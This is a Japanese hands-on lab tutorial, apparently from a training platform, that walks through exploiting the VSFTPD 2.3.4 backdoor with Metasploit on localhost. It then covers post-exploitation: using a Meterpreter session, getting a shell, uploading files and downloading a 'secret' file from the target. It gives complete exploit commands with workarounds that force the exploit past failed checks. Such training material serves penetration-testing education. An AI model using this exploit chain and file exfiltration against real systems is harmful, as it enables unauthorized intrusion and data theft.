Metasploit:基本的なポストエクスプロイト

LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、Metasploit Frameworkを使用したポストエクスプロイトの基礎を学びます。まず、脆弱なFTPサーバーを攻撃して初期アクセスを獲得し、Meterpreterセッションを確立します。その後、ポストエクスプロイトのフェーズへと移行します。このフェーズの目的は、侵害したシステムを調査し、権限を昇格させ、データを抽出することです。

Meterpreterの主要なコマンドを使用して、セッションの操作、シェルコマンドの実行、攻撃者マシンと標的マシン間でのファイル転送を練習します。この実験を通じて、初期の攻撃から基本的なポストエクスプロイト技術までの一連の流れを習得します。

初期アクセスの獲得

このステップでは、VSFTPD 2.3.4サービスのバックドアを悪用して標的システムへのアクセスを獲得します。これにより、ポストエクスプロイトのためのMeterpreterセッションが得られます。

まず、Metasploit Frameworkのコンソールを起動します。

msfconsole -q

Metasploitが起動したら、VSFTPD 2.3.4バックドア用のエクスプロイトを選択します。

use exploit/unix/ftp/vsftpd_234_backdoor

次に、標的とペイロードのオプションを設定します。サービスは同一マシン上で実行されているため、ループバックIPを使用します。デフォルトのペイロードは LHOST を必要としますが、「All encoders failed to encode」というエラーが発生する場合や、現在のMetasploitのバージョンではチェックによってエクスプロイトが中断される可能性があるため、以下のように設定を強制します。

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
set ForceExploit true

最後に、エクスプロイトを実行します。

exploit

トラブルシューティング: Msf::OptionValidateError One or more options failed to validate: LHOST と表示された場合は、set LHOST 127.0.0.1 を実行してください。「All encoders failed to encode」と表示された場合は、set Encoder generic/none を実行してください。エクスプロイトが not-vulnerable で中断され、チェック結果を上書きするように指示された場合は、set ForceExploit true を実行してから再度 exploit を実行してください。

警告: 初回の試行で「Unable to connect to backdoor on 6200/TCP. Cooldown?」や「Exploit completed, but no session was created.」というエラーが発生する場合があります。その場合は、再度 exploit コマンドを実行してください。2回目の試行で成功するはずです。

成功すると、Meterpreterセッション(セッション1)が開かれます。

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

これでMeterpreterセッションが確立されました。次のステップに進むために msf > プロンプトに戻るには、Ctrl+Z を押し、「Background session 1?」と聞かれたら y を入力します。

Meterpreterセッションの操作

バックグラウンドにMeterpreterセッションがある状態で、その操作方法を学びます。sessions コマンドはアクティブなセッションを一覧表示するもので、Meterpreter内部ではなく、Metasploitのメインプロンプト (msf exploit(...) >) でのみ機能します。

アクティブなセッションを確認するには、以下を実行します。

sessions

ID 1 のMeterpreterセッションが表示されるはずです。

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

セッション1を操作するには、以下を実行します。

sessions -i 1

プロンプトが meterpreter > に変わり、セッション内に入ったことがわかります。

[*] Starting interaction with 1...

meterpreter >

これで、Meterpreter内からポストエクスプロイトコマンドを実行する準備が整いました。

shellコマンドによるシェル操作

Meterpreter内から、標的上でコマンドを実行するために標準のシステムシェルへ移行できます。これは、シェル固有のコマンドやスクリプトを実行する必要がある場合に便利です。

meterpreter > プロンプトで以下を入力します。

shell

リモート標的上で標準シェルが開きます。プロンプトが一瞬停止するように見えるかもしれませんが、システムシェルに入っているため、直接コマンドを実行できます。

Process 1654 created.
Channel 1 created.

whoami を実行して、現在のユーザーコンテキストを確認します。

whoami
labex

exit と入力してMeterpreterプロンプトに戻ります。

exit

プロンプトが meterpreter > に戻ります。次のステップでは、このセッションを使用して標的にファイルをアップロードします。

uploadコマンドによるファイルアップロード

Meterpreterの upload コマンドは、ローカルマシンから標的へファイルを転送します。/home/labex/project にある local_file.txt というファイルを、リモートマシンの /tmp にアップロードします。

meterpreter > プロンプトから以下を実行します。

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

アップロードが完了したことを示す出力が表示されます。

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

この実験では標的が同一マシン上で動作しているため、ファイルは /tmp/uploaded_file.txt に作成されます。次は、その逆の操作である、標的からのファイルダウンロードを練習します。

downloadコマンドによるファイルダウンロード

download コマンドは、標的からローカルマシンへファイルを転送します。リモートシステムの /tmp にある secret_data.txt というファイルを、プロジェクトディレクトリにダウンロードします。

meterpreter > プロンプトから以下を実行します。

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

ダウンロードが完了したことを示す出力が表示されます。Meterpreterは downloaded_secret.txt というディレクトリを作成し、その中に secret_data.txt としてファイルを配置する場合があります。

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

これでファイルがローカルマシンに保存されました。最後のステップでは、セッションを終了し、ダウンロードした内容を確認します。

exitコマンドによるセッション終了

最後のステップでは、Meterpreterセッションを閉じ、Metasploitコンソールを終了します。

meterpreter > プロンプトで exit と入力してセッションを閉じます。

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Metasploitコンソールを終了するには exit と入力します。アクティブなセッションがある旨の警告が表示された場合は、exit -y を使用して強制終了します。

exit -y

ダウンロードしたファイルを確認します。前述の通り、Meterpreterがディレクトリを作成している可能性があるため、ファイルは downloaded_secret.txt/secret_data.txt にあります。

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

おめでとうございます!これで、エクスプロイトからポストエクスプロイトまでの一連のワークフローを完了しました。

まとめ

この実験では、初期アクセスからポストエクスプロイトまでの一連のワークフローを学びました。まず、エクスプロイトを使用してMeterpreterセッションを獲得しました。次に、セッションの一覧表示と操作方法、Meterpreterから標準システムシェルを取得する方法、そして upload および download コマンドを使用して攻撃者と標的のマシン間でファイルを転送する方法を習得しました。最後に、セッションを適切に終了し、Metasploitコンソールを閉じる方法を学びました。これらのスキルは、ペネトレーションテストにおける基礎となります。